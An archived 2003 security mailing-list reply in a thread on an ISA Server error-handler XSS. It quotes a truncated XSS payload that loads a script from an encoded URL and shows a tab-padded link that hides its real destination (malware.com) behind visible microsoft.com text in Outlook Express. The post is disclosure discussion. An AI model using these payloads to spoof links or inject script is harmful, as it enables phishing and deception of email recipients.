Re: Microsoft ISA Server HTTP error handler XSS (TL#007)

• Previous message: Matt Ploessel: "Cisco IOS vulnerability detection tool by Foundstone"
• Maybe in reply to: Thor Larholm: "Microsoft ISA Server HTTP error handler XSS (TL#007)"
• Next in thread: http-equivat_private: "Re: Microsoft ISA Server HTTP error handler XSS (TL#007)"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

 <!-- 

http://=""%09onerror="document.scripts[0].src=%27http%5Cx3a%
5Cx2f% 
5Cx2f 

 -->

This is very interesting. A side 'benefit' is that we can mask our 
true url with the same scheme.

For an href in html in order to mask the true destination the <a 
href="....>bloatedcorp.com</a>, can be manipulated by trivial 
javascript to generate a custom representation in the status bar to 
fool our recipient should they 'hover' the mouse over the link.

This can be defeated quite simply like so:

<A href="http://%09%09%09%09%09%09%09 
09www.malware.com">http://www.microsoft.com> 

In an html mail message [default in Outlook Express] plus restricted 
zone in Outlook Express 6 [again default] where no scripting is 
allowed, the above link when presented to the recipient in an html 
email message, and tested by 'hovering' the mouse over it, yields 
nothing. Blank. Thereafter accepting the url, transports us to our 
site as required.

End Call

--
http://www.malware.com

• Next message: Cesar: "Re: FW: Windows Update - Unsafe ActiveX control (fwd)"
• Previous message: Matt Ploessel: "Cisco IOS vulnerability detection tool by Foundstone"
• Maybe in reply to: Thor Larholm: "Microsoft ISA Server HTTP error handler XSS (TL#007)"
• Next in thread: http-equivat_private: "Re: Microsoft ISA Server HTTP error handler XSS (TL#007)"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Fri Jul 18 2003 - 10:39:40 PDT